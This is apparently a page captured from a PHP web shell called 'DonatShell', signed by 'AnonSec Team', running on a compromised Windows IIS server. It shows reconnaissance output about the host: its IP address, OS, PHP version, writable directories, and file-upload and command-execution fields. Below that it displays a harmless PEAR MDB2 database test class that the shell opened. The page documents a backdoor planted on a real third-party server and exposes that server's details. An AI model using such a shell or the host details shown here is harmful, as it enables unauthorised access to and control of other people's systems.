DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/ULIB/_tmp/rootutils/pecl/PEAR/tests/MDB2/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/ULIB/_tmp/rootutils/pecl/PEAR/tests/MDB2/tests/MDB2_Connect_Test.php
<?php
// {{{ MDB2_Connect_Test
/**
 * This is just a dummy class to perform the tests.
 */
class MDB2_Connect_Test
{
    var $_dsn;
    var $dbc;

    // {{{ constructor php5 valid
    /**
     * Straightforward? The constructor
     */
    function __construct()
    {
        require_once 'MDB2.php';
        require_once 'config.php';

        $this->_dsn = array(
                'phptype'  => DSN_PHPTYPE,
                'username' => DSN_USERNAME,
                'password' => DSN_PASSWORD,
                'hostspec' => DSN_HOSTNAME,
                'database' => DSN_DATABASE,
        );

    }
    // }}}
    // {{{ PHP4 constructor..
    function MDB2_Connect_Test()
    {
        $this->__construct($connect);
    }
    // }}}
    // {{{ connect
    function connect()
    {
        // connect to database
        $options = array(
            'portability' => (MDB2_PORTABILITY_ALL ^ MDB2_PORTABILITY_EMPTY_TO_NULL),
        );

        $this->dbc =& MDB2::singleton($this->_dsn, $options);
        if (PEAR::isError($this->dbc)) {
            return $this->dbc;
        }
    }
    // }}}
}
// }}}
?>

Anon7 - 2022
AnonSec Team